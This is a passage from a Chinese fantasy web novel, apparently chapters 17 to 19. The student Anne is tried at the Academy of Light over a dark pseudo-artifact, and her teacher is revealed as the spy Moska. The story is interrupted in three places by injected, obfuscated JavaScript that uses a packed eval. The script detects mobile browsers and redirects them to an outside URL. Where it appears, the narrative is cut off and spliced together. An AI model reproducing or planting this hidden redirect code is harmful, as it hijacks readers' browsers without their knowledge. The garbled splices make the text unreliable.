天空越来越明亮了…… 和那天来临之前一样。 又有什么事要发生了吗? 安妮脑海里,那个清秀挺拔的身影越来越模糊。 她有些低落,是那种萦绕在周身的悲伤突然被心脏尽数吸收的低落。 “别一副没精打采的样子,他们会以为我这个顽劣的老头子不再有教学能力的,”加丁坐在安妮身边,是之前从未有过的距离,“我曾经因为自己的能力问题而感到失落,那是我第一次被真正意义上地欺骗。” “真正意义?” 欺骗还有什么假的吗? “换种说法或许你会更好理解:纯粹的欺骗。不掺杂对我的关心,只关乎欺骗者的利益。” 似乎和她的处境一样。 “那是他们不约而同地对我的能力表现出轻蔑的时候。我在一群佼佼者中脱颖而出,能力自然足够优秀,但这远远不够。他们选中了我,但却表现出因为‘我是差生里比较听话的’所以只能留下我。我那个时候信以为真,讨好、顺从、投其所好,无所不用,但最后我才发现自己的成绩有多傲人,那些在我面前趾高气昂的人甚至没有资格给我敬酒。” “我也失落过,在不明白真相之前失落,在明白真相之后更加失落。只是我的心态变了,我觉得一个连自己的力量都无法正确估计的人真的太失败了,而我就这样被他们玩弄于股掌之间,也太失败了……” 加丁的语气难得带了些激动,安妮侧目,面前的老人脸颊微微泛红,说到激动处还喘着气。 鲜活了许多。 “在我接手到神器‘源’的那一刻,我几乎被巨大的惊喜砸晕过去,但他们只是在背后咬牙切齿,歇斯底里,在我面前却云淡风轻,似乎这不是什么大不了的事。” “但迄今为止也只有一个神器现世。” “没错,那就是我的‘源’。” 加丁有些骄傲地接道。 安妮难得跟着他弯了弯嘴角。 “看吧,孩子,失落都是自找的,何苦杞人忧天呢?我们还有很多事要做,失落只会让我们停滞不前。哪怕我已经是迟暮之年,换个说法,行将就木,但我仍然在不懈地寻找神器——艾德文特就是我的左膀右臂。找不到神器,就寻找伪神器,总之永不停止步伐。几百年了,我难道不会因为一无所获而失落吗?” 自然会。 安妮体会过那种竭尽全力却无济于事的感觉。 “实不相瞒,如今的学院已经没有多少天大的事需要我处理了,我要做的不过是和那群和我一样老不死的贵族势力周旋,因为他们自己收服不了神器,就想抢劫现成的。要不是我态度强硬,手里这把拐杖恐怕都要让人……抱歉,说多了。” “你打算怎么办?” “什么怎么办?” “你的光明学院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你喜欢看星星吗?” 是加丁。 安妮没想到这个日理万机的校长会在下班后回来这个地方。 “我可能没告诉过你,‘源’能帮我了解光明学院里的情况,包括哪里还有人的气息。” “你说过。” “哦?那可能是忘了吧……人老了记性总是不好……” 加丁也坐了下来,权杖被插在地面,暖气源源不断地蔓延,地面立刻舒适起来。 “一把老骨头了,害怕得风湿,希望没有影响到你冰冷的心情。” 安妮不知道怎么回答。 “你知道为什么有些童谣的课本上爱写星星像小眼睛吗?” 安妮想了想,那似乎是个很平常的比喻,已经没有人在意为什么。 人们总是对有些事理所当然得自己都没察觉到。 “在我小的时候,这些东西是很幼稚但随处可见的。要说具体有哪些东西,很多,什么插画啊,童话啊,当然也包括这些歌。我在街上走访情况的时候,无意间听到了有孩子在唱,‘天上的星星眨呀眨,像眼睛一样亮啊亮。’那个时候的我吓坏了。你知道,为什么吗?” 安妮诚实地摇了摇头。加丁好像一个得意的孩子,对安妮的反应露出满意的笑容。 “因为我那个时候正尝试和天道沟通,并且成功了。我反复试验,反复观察,最后发现,在星星最密集的地方,我得到的反馈是最强的。我不知道为什么,直到那个孩子的歌给我提示,我突然在想,这些星星会不会真的是谁的眼睛?” 安妮坐直了,眼眶微微湿润。她想起了凯德阿姨的那个故事。 那个太阳的故事。 旁边的加丁动了动,似乎抬起了头:“我们在这里望着天空中的星星,这些星星也看着我们……只是,我们用着仰望的视角。所以在它们的眼中,我们应该和蝼蚁无异吧。” 无论是揭露真相还是嘲笑自己,加丁永远都是平静的语气,这让安妮觉得她才是那个仰视的蝼蚁,而他只是坠落的星星。 “不知道我的想法是不是正确的——但愿不是。” “你害怕被监视吗?” “不是,我只是害怕……算了,说了你也不懂。” 这幼稚的话加丁是怎么说出口的……但安妮确实好奇了。 “说说吧,反正现在也没事做。” 如果他们都不打算睡觉的话。 加丁沉默了一会儿,安妮也不催促。这样的夜晚本就适合讲故事,她不介意等一等。 “你想象过自己成为天上的神吗?” 当然……安妮不仅想象过,还在努力着。她不知道自己能不能战胜天道,但倘若能,取而代之后是什么样? 她自然想象过。 “天上的神是高贵的、高傲的。倘若它们的眼睛真的只是星星,它们看到的就只是星光下发生的事情。有些事情,是在黑暗中的,有些真相,也是隐藏在黑暗中的。就像我和贵族的争斗,他们的阴谋连月亮都不会看见。神倘若真的只看得见那一部分,它们又怎么维护公平正义?我的心血又该如何幸存……” 安妮记得自己曾经问过一个问题。 “可是星星就存在于黑暗中,连它们都无法看清黑暗里的真相吗?” “我当然希望它们能。” “但看得见的实力永远比虚无缥缈的庇护实在。” 加丁的袖子闪了闪,在黑暗中显得十分突兀。他抬起手看了看,安妮发现那是一个通讯仪。 “艾德文特找我有事,可能和神器有关,我先走了。” “再见。” 加丁扶着权杖站起身,拍了拍灰尘,一阵白光后消失不见。跟着站起的安妮目送加丁匆匆忙忙地离开,正要传送走,被地上的纸条吸引了。 是加丁掉的。 安妮捡起来,展开看了看,上面是一些不太能理解的文字。 有一些基本属性,属性旁边是一些副作用和处理方法,安妮迟钝的大脑运作了一会儿,猜想这应该是不同属性的伪神器携带的弊端。 背面是同样的格式,但是只有一行红色加粗的字。 [黑暗-毁灭性封印或改造] 安妮的心颤了颤。 深渊权杖是伪神器吗? 安妮不知道。 毁灭性……可是深渊权杖是在电闪雷鸣中守卫他们的法器。尽管那个结界在天道的威压下仍然不堪一击,但安妮看见的只有天道的毁灭性。或者说爸爸将深渊权杖做了改造,使它不再具有破坏性? 那么所说的封印或改造也就做到了吧……何况就算没有被改造,深渊权杖也处于被封印的状态…… 安妮握着纸条的手紧了紧,不知道应该怎么做。 告诉加丁吗? 她不想。 或者说,不敢。 只要不拿着它为非作歹,总不需要交出去…… 那已经是爸爸妈妈留给她的最后的念想了。 一个反抗的念想,一个仇恨的念想,一个……活下去的念想。 安妮把被揉得皱巴巴的纸揣进口袋,低着头回了房间。 昏黄的暖灯映照着她的身影,巨大的影子遮盖住她的动作。 那团纸安安静静躺在垃圾桶里,好像也被丢进了安妮心中的角落。 18. 18 安妮把那张纸条扔掉了,但是她很快重新看见了那些字——在和加丁聊过的第二天早晨。 “我不知道之前准备的字条去哪里了——当然你可以认为我忘记了。所以我重新写了一份,反正那上面的内容不多,你应该看得懂。” 加丁把纸条递过,安妮接住,只是轻轻扫了一眼,就明白了那是昨天她扔掉的字条。 “伪神器很少,大多数都是被藏起来的,这也很正常。所以对于这些属性的副作用,我们都是推测居多。但有一点毋庸置疑,那就是黑暗属性的伪神器具备的毁灭性。我们签订的契约表明一旦发现黑暗属性的伪神器,就会将其放置在‘源’所在的地方净化它,任何人不得据为己有。” 安妮拿着字条的手颤了颤。 “艾德文特还在沙漠神殿,不过已经到了内部,这总归是件好事,尽管危险与机遇并存。神使大人不久后应该会回来了,你们可以好好聊聊。” 阿木木要回来? 安妮有些激动。 她太孤独了,以至于加丁的每个故事都足够慢慢回味咀嚼——然后刺探出真相。 她想念一个倾听者。 “之后的训练恐怕又需要你自己了,‘启元录’要做的事有点多。” 安妮知道不是这个原因。加丁的故事很多,也让她听出了面前这个人身上巨大的压力。 每个人都有压力。 活着就有压力。 “你的掌控已经75了,这是个很高的数值,相信最后5点你能成功达到的。” 加丁又是一堆例行鼓励的话,然后急匆匆地传送离开。 安妮面前的冰灵力确实已经听话了。她看着莹蓝色小球体内隐隐透出的黑,知道“启元录”的封印效果在慢慢消失。 冰灵力听话,不代表黑暗之力会乖乖听话。 她的掌控会提升得越来越困难,加丁其实是知道的。也不知道他的话能够给谁安慰和信心。 安妮继续控制面前的小球在崎岖的山体上攀爬。这座山的缺口很多,但是不停地有风刃攻击,还有鸟兽骚扰,就像真正的攀岩一样危险。安妮也已经学会了身临其境,此刻不敢懈怠,陪着弱小的冰灵力爬山。 偶尔累了,也会放出几个水晶球里的异兽打架。这是黑暗之力最喜欢的游戏,破坏、占领,无一不宣示着它的暴动潜质,可惜安妮并不后悔,也没机会后悔了。 时间流逝得很快。 再一次脱离幻境,安妮惊讶地发现加丁正站在不远处观看。他拄着权杖,面无表情,直直地站着,如果不是风吹拂着衣摆,恐怕就是一座雕塑。 安妮在那一瞬间,却仿佛看到了凯德阿姨和菲缇的身影。 重重叠叠的影子。 守望。 “抱歉,没有打扰到你吧?” 安妮摇了摇头。 加丁的表情很复杂,这是他第一次露出这种纠结的神情。所有的高傲和平淡似乎都被打破,让安妮也没来由的心慌。 她静静地等待着加丁说话。 直觉告诉她,这是一件大事,却不会是什么好事。 加丁沉默了良久,最后还是面向了安妮,试探性地、小心翼翼地问道:“你……接触过伪神器?” “……黑暗属性。” 他的声音很轻,却直直砸在安妮的头上,震得她头晕目眩。 安妮全身的血液好像已经逆流,冰冷的感觉传到四肢百骸。她的脊椎已经僵硬,舌头好像打了结。她不知道应该怎么回答。也许在半个多月前,她还可以面不红心不跳地否认,但现在她做不到。 于是她沉默地低下了头。 青草尖上破碎了一滴露水。 那叶子和安妮的心一样颤个不停。 “我没想到,才给你说了伪神器,就……就……” 加丁的表情似笑似哭,让安妮不知道他是高兴还是难过。 应该是高兴的吧,他耗费了大半生寻找的东西如今就在眼前,他也有能力净化。 安妮不知道自己是该高兴还是难过。 那是一种解脱的快感。 她再也没有任何秘密。 或者说还有一个,但那已经微不足道了吧。 没有人会在意一个蝼蚁是否有大逆不道的想法。 “我们谈谈。” 加丁恢复了那副严肃的模样,拄着权杖走进那栋房子。安妮默默跟上,知道这不是一个老师因为需要负责而必须进行的训话,也不是一个对手需要倾诉而选择透露的谈话。 安妮终于看清了这栋房子的全貌。 大大小小的长桌整齐排列在两旁,上面放着各式各样的水晶球。最前方的桌子上竖了说明牌,水晶球前方也贴着标签。正中央是一张圆形石桌,乳白色的,看起来十分光滑整洁。最中间只有一本书,安妮看出了那是翻开的“启元录”。 “这里是‘源’所在之地,这本书你也见过的。之所以带你来这里……大概是因为这里是唯一安全隐秘的地方吧。” 安妮没有说话,她知道加丁有很多话要说。 “我不知道他们是从哪里得知的这个消息,总之……你承认了。” 加丁看着安妮,安妮才发现他的瞳孔是清澈深邃的深蓝色,那是一双和玻璃一样冰冷的眼睛。 她在这样的注视下无所遁形。 “你应该知道,成为我的学生意味着什么。你在这里享受到了最好的资源,甚至动用了‘启元录’的力量,它们本就早有不满……不过它们奈何不了我——这是之前。” “现在,它们知道了你有黑暗之力,知道你还携带着黑暗属性的伪神器,不管是打着什么样的旗号,它们都只会要求我毁掉你,这样既可以防止我有个优秀的继承人,又可以名正言顺地分得伪神器的力量,它们不会放弃。” “继承人?” “我不会让你做我的继承人的,你比谁都清楚,但在你的力量暴露之前,它们并不这样认为。” “可现在他们知道了!” “什么都知道了。” 安妮无法反驳。 “我要怎么做?” 难道连爸爸妈妈留下的唯一的东西,也要放弃吗? 安妮不甘心。 可是显然不可能。 “他们要求我审判你,就像当初审判塞弗勒斯一样。” “审判……塞弗勒斯?” “那是百年前的大事,也是光明学院的禁忌……不过给你说也无妨。” “坐吧。” 加丁坐下,指了指安妮对面的椅子。 这是一种平等的位置关系。 但她不想要。 “塞弗勒斯的黑暗之力同样被他们发现了,只不过和你不太一样,那个时候他得罪的人更多,也没有伪神器傍身。他有的只是我这个没用的老师。 我保不住他,或者说也不太愿意为他继续提供资源。我以为他会是我最优秀的学生,之后会是我唯一的继承人,但很可惜……总之,不是所有人都会对黑暗抱有理解,何况针对塞弗勒斯对它们有利无害。于是一场审判会举办了,那是它们自作主张制定的东西,但是我也没法取消。 审判会的内容很简单,它们要求我剥夺塞弗勒斯的灵力,并且将它放逐到无妄森林。而结果也很明了,我们各退一步,塞弗勒斯保留自己的力量,离开光明学院,并且永不回圣城,而贵族们今后获得对‘启元录’的一些使用资格。 只是让我没想到的是,这小子居然还有一批自己的信徒,当初它按照约定悄无声息地离开,第二天贵族们就发现自己的不少力量都消失了。不过它们没有证据,自然也没有办法。” 加丁回忆的时候仍然很平静,但安妮听出了他最后的窃喜和调侃。 “好了,如果我让你对审判会产生了什么误解,那么现在我需要补充一下。审判会并不是如你所想的那样公平公正,甚至还能捞到好处。我不希望它们做到那一步。” “那我又该怎么办?” 就这样妥协吗? “我没有办法帮你继续撒谎了。接下来的对策……作为老师,我想我只有给你这样的承诺。把伪神器拿出来,我将它放在这里净化,然后我给予你补偿,你赶紧离开。” 安妮一瞬间不知道面前人心中的真实想法。 这真的是为她好吗? 安妮不知道。 菲缇的字条在脑海里越发清晰,可是安妮已经不知道谁才是真正的商人。 “我知道你很难接受,好好考虑一下吧,我也去想想还有什么更好的办法。” 加丁起身准备离开,这一次安妮没有抬头看他。 她问:“你为什么帮我?” “大概……看你合眼缘吧。” 合眼缘? “你和塞弗勒斯那孩子挺像的。”加丁似乎还想说些什么,但及时打住了,“今晚再见。” “再见。” 安妮不需要训练了,于是她回了房间。 打开灯,打开地暖,掀开被子,坐上去,抱着提伯斯,发呆。 提伯斯静静地睡着,像无数个夜晚里那样。灯光打在安妮的脸上,让她觉得视线有些模糊。 她自己都不知道自己在哭什么。 第一次这样想的时候,是她展示出超凡的冰灵力,然后和欺负她的熊孩子们打了一架。 她不明白,明明自己赢了,为什么还要哭。 人总是为不明白的事情劳神,就像那些突如其来的悲伤。 她也不明白。 只是损坏的深渊权杖,也需要被封印吗?应该不需要了吧…… 怀着一丝庆幸,她打开了通讯录。 新世纪1320级 4 魔法A班安妮:如果伪神器已经损毁,可以不上交吗? 加丁校长:伪神器是不会真正损毁的,一切状态都只是他呈现的方式。 不行…… 安妮的手指有些许冰凉。 新世纪1320级 4 魔法A班安妮:我想见见菲缇 加丁校长:抱歉,他们恐怕不会允许。在没拿到伪神器之前,你甚至不会收到阿狸送来的饭菜和糕点。 安妮的脚有些麻木。 她蜷缩在床角,提伯斯已经被抱出温度。 “提伯斯,我该怎么办?” 泪水一滴一滴流进小熊的身体,那黑紫色越发深邃。玩偶纽扣的眼睛闪了闪,转瞬即逝。 安妮在一片黑暗中醒来,感觉自己好像变成了一个轻飘飘的玩偶,被谁握在手里晃动。 “沙沙”…… 是衣服和草叶摩擦的声音。 “嘎吱”……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119486|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 有人踩到了树枝。 黑暗中,一切渐渐安静下来。微风吹拂,有些燥热的空气扑面而来。是夏天,却没有聒噪的虫鸣。 这样寂静的环境……安妮忽然联想到了光明学院。 视线也在渐渐变清晰。安妮环顾四周,身前有一个黑黑瘦瘦的影子,周围被高大的草木环绕着。没有动静……过了一会儿,她感觉自己再次随着影子动了起来。这是一种奇妙的感觉,好像自己被吊了起来,不停漂浮移动着。 眼前的景象不断变换,一会儿是诡异的树干,一会儿是漂亮的灌丛,直到路过一棵高大的梧桐树,安妮脑子一顿。 那是她去找木木的路。 身后的人在光明学院里,在寂静无声的黑夜中…… 奔逃? 安妮跟随那个人一起跑着,那条路越来越熟悉,越来越熟悉,直到最后,凉气也扑面而来。 那个湖。 “扑通!” 她跳了进去。 准确地说,是那个人带着她跳了进去。 视线又开始变模糊,安妮浮浮沉沉,始终在那人的身边,却看不清他的脸。不知道过了多久,终于到了尽头。安妮和那人一起跃出水面,头上是清冷的月光。然后她又掉进了水里,和水面只有一步之遥。安妮却没有感觉到窒息,反而和身后的人一起放松了。 “还不能松懈。” 是个男生。 这个声音有些熟悉,带着少年人变声期后的成熟稳重,但口中的喜悦溢于言表。 安妮就见自己一下子窜出水面,然后继续在寒风中奔跑——或者说,飘飞。 直到跑进一片树林,地上的枯枝落叶多了起来,她的脚步才放缓了。安妮看着这片树林,总觉得仍旧很熟悉。她还没想出什么,就感觉自己从飘然的状态踏到了实地。她往下看去,是一双布满老茧的大手。 安妮好像被捧了起来。她感觉自己从小小的一团逐渐伸展、变大,然后挣脱了什么束缚。 “谢谢你,要不是你,我还不知道他的阴谋。” 少年把安妮的脚拿了起来,翻了个面。安妮还没有反应过来这句话的意思,就被面前放大的脸惊住了。 是年轻时候的爸爸。 爸爸! 失重感传来,带着身体各处的酸痛。安妮再次睁开眼,还是熟悉的卧室,自己仍然坐着。 这一次,全身是真的有些发麻。 安妮活动活动了手脚,还没等血液流动起来,一闪一闪的通讯仪就让她开始心跳加速。 加丁叫她传送去祭坛。 不是走过去,是传送。 她往上翻,把消息一条一条看完。 15:00 加丁校长:我很抱歉,但是他们的审判会就在今天下午,刻不容缓。参加的人你大多不认识,都是学院的老师和一些贵族,不过……菲缇没有来。她应该是不愿意再牵扯进来的,希望你能理解。 15:03 加丁校长:安妮,逃避解决不了问题,现在不是讲故事的时候,但我还是希望你能明白。五点钟如果你还没到,他们恐怕要亲自来找你了。你放心,我会给你一个公正的结果的,前提是你能配合。 15:10 加丁校长:做好准备了吗?我们都在等你。带上你手中的伪神器一起来吧,我想他们应该已经猜到你的东西在哪里了,不然不会这么疯狂而果断。当然,我还是希望你能藏好它。或许你可以想想到底有没有暴露,然后再做决定。 15:59 加丁校长:他们在下最后的通牒了,我知道你并没有离开的打算。好好想想吧,在最后一刻再来与他们对峙,我希望那时候的你已经做好了万全的准备。其实和他们作对一点也不可怕,这是我最擅长的事了,毕竟熟能生巧。相信我,事情真正到来的那一刻,你会发现一切还没有那么糟糕。至少你还有我,我并不偏爱你,但无论如何,我是你的老师不是么? 16:02 加丁校长:等待的过程并不好受,相信你也很煎熬,但我没有偷懒,这次的审判会会有一个好结果的。 现在已经16:03了。 安妮看着加丁发送来的信息,脑海里的梦境却占据了思考。 爸爸在逃跑。 为什么? 还有真相,什么真相? 安妮不知道,她只知道在自己看向通讯仪上的消息的那一刻,没来由地感到排斥。 这么久的相处,让她看见了一个责任重大,严肃认真却保有童心的老头。她以为这会是她看清楚的唯一的真实,可是好像这一切在虚幻的梦境里也违和了起来。 究竟什么才是真的? 一切关爱都只是另有目的,一切行为都只是别有所图,难道所有人都是这样的吗? 安妮混沌的脑子里还在重复最后的梦境。 “谢谢你,要不是你,我还不知道他的阴谋。” “他的阴谋。” “阴谋。” 安妮好像也陷在了一个巨大的阴谋里,不可自拔。 16:30 她迈开了最后的步伐。 传送去祭坛的那一刻,她握紧了拳头,最后回头看了床上的提伯斯一眼。 但愿一切结束后,她还有机会回来收拾行李。 19. 19 人山人海。 安妮传送到祭坛中心的时候,那里坐满了人,也站满了人。衣着华美的贵族围坐在上方,穿着校服的同学站在下方。没有人说话,甚至没有一点风声。 “你来了。” 加丁的声音不知为何变得严肃庄重,充满了空灵沉稳的回声,好像来自遥远的天上。 安妮没有接话,她知道这次,加丁也有很多话要说。 “做为光明学院的学生,你擅自修习黑魔法,携带黑暗属性的伪神器,你认吗?” 台下一片唏嘘,没想到这一次审判会的主角会是那个充满传奇的人,也没想到那个人会有如此大胆的行为。 “我认,但是修习什么是我的事,携带的也是我的东西,不是么?” 台下的学生没有说话,只是用异样的眼神看着安妮,似乎她已经杀人放火罪不可恕。 加丁眨了眨眼睛:“我们经过一致的商讨,决定没收你的伪神器,将你逐出光明学院,作为补偿,我们会给予你一万金币,如何?” 一万金币?! 台下有的学生露出了嫉妒的表情。不过想到那是伪神器交换的,又安静了下来。 安妮不在意周围人的眼光。 “这是你的意思吗?” “这是我们的意思。” 安妮低着头,似乎在思考什么。加丁也不催促,等着安妮的回答。 “没收伪神器,是因为它危险么?” “是。” “那倘若它已经没有攻击力了呢?” “这不可能。” 加丁的话仍旧悠长,在祭坛四周回荡,让安妮的辩驳显得苍白无力。即使他一口否决,也让人认同。 “我的伪神器的确是黑暗属性,但它已经被改造。” “这不是你说了就算的。” 加丁的话有些无奈,似乎安妮真的在无理取闹。可是安妮听着他一次次的反驳,只觉得心中悲凉。 “你为什么不检验一下呢?关于黑暗属性的伪神器的对策里也说了,只需要封印或者改造。我的已经改造了,为什么还需要交给你们?” “因为你无法根本改造它。” “那我不交。” “抱歉,这由不得你。” 安妮没有动作。她没有带来提伯斯,或者说,孑然一身,什么也没有带。唯有一腔孤勇。 和固执。 她还在试图相信面前这个慈祥的老人。 时间一分一秒地过去,对峙以加丁敲击权杖结束。安妮看着加丁手上出现的小熊玩偶,只觉得头晕目眩。 “你从一开始,就什么都知道。” 加丁没有说话。 “他把深渊权杖封印在了身体里,拿不出来的,也不会有威胁。封印、改造,我都做完了,你还要怎样?” 安妮希望面前的老师可以赞同地点点头,然后放手。但她只看见加丁握着玩偶的手紧了紧,然后开始做法。 “你拿不出来,但是我有办法。只是我没想到,你的伪神器居然是深渊权杖……那曾经是塞弗勒斯的东西。” 塞弗勒斯! 台下的人震惊了,台上的贵族也瞪大了眼睛。 他们永远也忘不了那一场审判会,尽管记忆已经模糊,但同样是因为黑暗属性的伪神器……塞弗勒斯逃走了,但好在安妮没有。 白光逐渐围绕住小熊,黑暗雾气源源不断地冒出。安妮只觉得心脏被紧紧捏住,呼吸越来越困难。提伯斯使劲挣扎着,醒了过来。 他没有吐出深渊权杖,而是操纵一阵雾气攻击加丁,趁着他愣神的功夫,飞速钻进安妮怀里。 “提伯斯!” 他醒了,可是安妮宁愿他没有醒。 “黑暗雾气这么多,你还敢说深渊权杖被改造过吗?” 安妮没有回答加丁的话,她知道一切辩解都是徒劳。就算深渊权杖真的成为了守护法器,也难逃厄运,因为他们的贪婪不会因为理由不充分消减半点。 她在思考怎么离开。 但这一切都只是徒劳。她知道自己没有反抗的可能——和四年前一样,只是刀板上的鱼肉,任人宰割。 一阵白光再次袭来,带着磅礴的力量,安妮抱着提伯斯闭上眼睛。 然而疼痛感没有传来。 安妮睁开眼,模糊的视线里,是那个温柔纤细的身影。 “菲缇老师!” 她的怀抱仍旧如此温暖,和每一次训练失败后的拥抱一样让人安心。 安妮任由自己的泪水打湿她的衣服,她知道在这里、在此刻,只有面前的这个人会如此纵容自己了。 “乖孩子,我来晚了。” 菲缇抚摸着安妮的发旋,嘴边的微笑恰到好处。 “你来得正是时候。” 是加丁。 菲缇站起身,还是拥着安妮,只是这一次,她的视线不再低面前的人三寸。 “校长,你不觉得你的欺骗很过分吗?” “彼此。” 在场的人都只觉得怔愣。他们不明白发生了什么。一向和蔼可亲的菲缇老师为了一个违反校纪的学生和校长对峙,一向以光明磊落著称的加丁校长承认自己在欺骗。 “你把安妮从我的手上抢走,不过是因为艾德文特探测到了安妮手里的伪神器,你想要据为己有。即使后来你发现安妮的伪神器根本不具有攻击力,也不会从封印中问世,你仍然想要强行夺取,不惜伤害她的契约神兽。” 安妮站在菲缇的身边,手里还抱着提伯斯。她从未觉得这个瘦弱的老师如此可靠。 “你收安妮做学生不过是因为感知到了她身上的黑暗气息,之后将自己的冰灵力给安妮练习,却限制她的掌控,想等到合适的时机收回力量。或者,让她帮你扰乱光明学院……我还想问问,菲缇老师这是什么意思呢?” 原来这就是真相吗? 陷在重重阴谋中的安妮忽然觉得自己很可笑。 她后退一步,重新审视身边这个端庄的老师。忽然觉得那句话应该是她告知过的唯一真相。 商人,都是无利不往的商人。 “我承认,我欺骗过她,但我本打算在之后将冰灵力送给她的。至于你说的……不错,我是想利用她搅乱光明学院,但那又如何,从利益开始认识,不也是做朋友的开端吗?” 菲缇大方承认,甚至看向安妮。 她的眼睛仍旧深邃平静:“我很欣赏你,你坚毅、勇敢,最重要的是,对自己够狠,假以时日,你一定能够比我成功。我是阴差阳错才帮了你,但我所做的一切,难道不比这个道貌岸然的老家伙做的更好吗?我问心无愧。” “这就是光明学院的老师应该说的话吗?” “从我接住你的那招开始,你就应该知道我不是光明学院的老师了。你为什么总是这么虚伪,还喜欢给别人扣帽子呢?老头子。” 菲缇的话充满嘲讽,却让加丁的眼神闪了闪。 面前的女人眼尾拉长,鼻梁变挺,嘴唇变厚,脸上还出现了黑桃形的暗纹。金框眼镜下是一双妖异的紫色瞳孔。 “莫斯卡。” “好久不见,老不死的。” 莫斯卡,诡术妖姬,因为在弗斯手下做黑暗的卧底,差点帮助堕落天使灭世而一战成名,在堕落天使陨落后不知所踪。 祭坛里,鸦雀无声。所有人都被突如其来的一幕吓呆了。也许有的学生并不了解她是谁,但敢和加丁这么说话的人,迄今为止还没见过几个。 “既然一切都摊开了,我也不想说什么了。我来这里的目的很简单,拿走深渊权杖。它本就是属于我们黑暗族的,与你们何干。” “你恐怕忘了这是哪里。” 莫斯卡没有理会加丁的威胁,而是转头看向沉默不语的安妮。 “我知道真相让你很难接受,但现在你恐怕要做选择了。把深渊权杖给我,还是给他?” “我就不能自己留着么?” 问出这个问题的安妮突然一顿。 她觉得这个问题真可笑。 “你当然可以自己留下,但最后的结局还是落入他的手中。你不会以为自己还能活着走出这里吧?” 安妮的脑袋好像被什么砸了一下,“嗡”地炸开了。 “不然你以为,他千辛万苦给你提升掌控是为了什么?掌控够高的人死亡,只会带着力量消散——老家伙永远不会吃亏。” “我承诺给她一万金币,放她离开,只要她交出深渊权杖。” “扑哧,这种笑话给台下的人说说就行了,你以为我不知道当初塞弗勒斯是怎么离开的?” 是逃走的。 尽管不知道为什么,加丁和所有人都说他是经过审判会离开的,但安妮知道那个梦境才是事实。 “安妮,选吧,我尊重你的意愿。” “其实要不要深渊权杖都无所谓,何况看它的状态,恐怕已经损毁了,修复起来都是个麻烦事。我只是想和老不死的作对,就是这么简单。如果你还相信自己能够活着离开,我不介意帮你保管你的宠物,等你来拿,毕竟师生一场——我说过,你是我最欣赏的学生。” “安妮,你永远都是光明学院的学生。将深渊权杖给我,我会护送你离开的。我尊重黑暗之力,就像当初放走塞弗勒斯一样。莫斯卡以欺骗著称,我希望你不要被她误导。” “……” 安妮抱着提伯斯,低着头。 她看到的不是地面,是湖水,是星星。 她想起了和菲缇坐在湖边的时候。 四年时间,她们越坐越近。她从僵硬着脊背,到站起来为她送别。 她们的故事在湖水里沉淀,她描绘的未来在湖面倒映出影子。 她打碎过冰雕,打坏过稻草人,她打翻过热乎乎的饭菜,还哭喊着把门关上。她就站在门外,轻声细语地说,有时候讲得多了,停下来休息一下,她能听到门外衣袖摩挲脸颊的声音。 她们无话不谈。她讲自己的故事,每次都小心翼翼地避开重点。她什么也不问,只是笑着点头。木木被拒之门外,她要抱怨;不吃晚饭,她要啰嗦…… 四年的时光一点也不久,她日复一日地训练,她日复一日地陪伴。她的朋友不多,可是每当她想要找谁倾诉时,她总是在…… 她。 她。 她们不分彼此,距离又恰到好处。 她在加丁说知己的时候,脑海里勾勒着她的身影。 安妮的泪水炸开,她忽然想起那天草地上摇晃的叶子。 那是她知道真相之后吗? 她以为一个人的谎言被拆穿了,于是另一个人的关怀就是真的。 只是半个月,那个厌恶排斥的老头子变成了她最钦佩理解的校长,然后亲手破碎她的希望,夺走她的一切。 不是然后,一开始就是阴谋。 她是一个小丑。在意识到自己是小丑的那一刻,还不知道自己不是披了一层可笑的皮,而是从里到外都是小丑。 一层层表演都被看穿后,连真相都披着虚假的外衣。 她不知道如今还有什么可以相信,还有谁可以认同。 湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119487|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水是假的,星星也是假的。 只有她从心底里掏出来的,才是最真实、纯洁的东西。 她多希望那其实也是假的。 “有什么遗愿吗,我会尽力帮你完成的。” 安妮抬头,手里递出的提伯斯已经被菲缇接住。 至少光明和黑暗的对立不是假的。 “我想死得明明白白。” 安妮看着对面那个白色长袍的老人。他仍旧是波澜不惊的模样,只是那双充斥着黑暗的眼睛暴露了他的愤怒与不甘。 “如果我说,这个审判会是他一手操办的,你信吗?” “我信。” “那你应该也知道他自始至终目的只有一个了。” “我知道。” “那没什么好说的了。” “他说,他理解黑暗之力。” “你信么?” “……” “也罢,既然你们执迷不悟,我也只能遵循光明的意思了。” 安妮苦笑着,看着面前的人抬起权杖,白色的光芒汇聚。 她想起了那个风雨交加、电闪雷鸣的下午。 那个时候,也是面临死亡。她看到了什么? 她的族人四处奔逃,绝望地哭喊。凯德阿姨在她的面前灰飞烟灭。 她的爸爸妈妈拼尽全力,却阻挡不了厄运的降临,那电光照亮了他们绝望的面容。 黑暗、哭泣、哀嚎……他们就像一群被洪水冲走的蚂蚁,身不由己地面临死亡。 灵力消散的一瞬间,她有多痛,就有多无力。 可笑她还以为有转机。 所以她活下来的意义到底是什么? 这近五年的挣扎又是为了什么? 只为了在这一刻,再一次体会那种深深的愤怒和不甘吗? 她不知道。 她也没机会知道了。 铺天盖地的白光照亮了眼前的世界,全身撕裂的感觉再次传来。安妮睁着迷蒙的双眼,视线里,一团黑乎乎的影子突然窜来,抱着她堕入黑暗。 